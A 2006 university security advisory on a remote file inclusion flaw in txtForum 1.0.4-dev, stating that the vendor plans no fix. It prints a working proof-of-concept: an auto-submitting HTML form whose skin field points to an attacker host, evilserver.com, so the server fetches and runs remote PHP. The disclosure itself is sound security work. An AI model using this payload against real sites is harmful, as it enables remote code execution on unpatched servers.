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txtForum: Script Injection Vulnerability



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txtForum: Script Injection Vulnerability
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Technical University of Vienna Security Advisory
TUVSA-0603-004, March 9, 2006
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Affected applications
----------------------

txtForum (http://sourceforge.net/projects/txtforum1)

Versions 1.0.4-dev and prior.


Description
------------

There is an include statement in the file common.php on line 46 that makes use 
of the SKIN constant, which was previously defined via the $skin variable. 
Under the following conditions, an attacker can inject arbitrary PHP script 
into the application:

- register_globals has to be active
- remote file inclusions have to be allowed

All the attacker has to do is find a path through the program that doesn't 
initialize the $skin variable. The attacker does not require access to an 
account in the forum. Here is an example for an attack page:

<form action='http://localhost/txtforum104/login.php' method="post">
<input type="text" name="login_username" value="admin"/>
<input type="text" name="login_password" value="xyz"/>
<input type="text" name="skin" value="http://evilserver.com"/>
<input type="submit">
</form>
<script type="text/javascript">
  document.forms[0].submit();
</script>

This leads to execution of the code in http://evilserver.com/header.tpl. There 
might be further possibilities for exploits (similar include statements can 
also be found on lines 53 and 61). 


Solution
---------

There is no solution to this issue yet.

Timeline:

March 2, 2006:
Vulnerability reported to and acknowledged by the developer (I.Konforti).
A fix is not planned.

March 9, 2006:
Advisory submission.


References
-----------

http://www.seclab.tuwien.ac.at/advisories/TUVSA-0603-004.txt


Nenad Jovanovic
Secure Systems Lab 
Technical University of Vienna 
www.seclab.tuwien.ac.at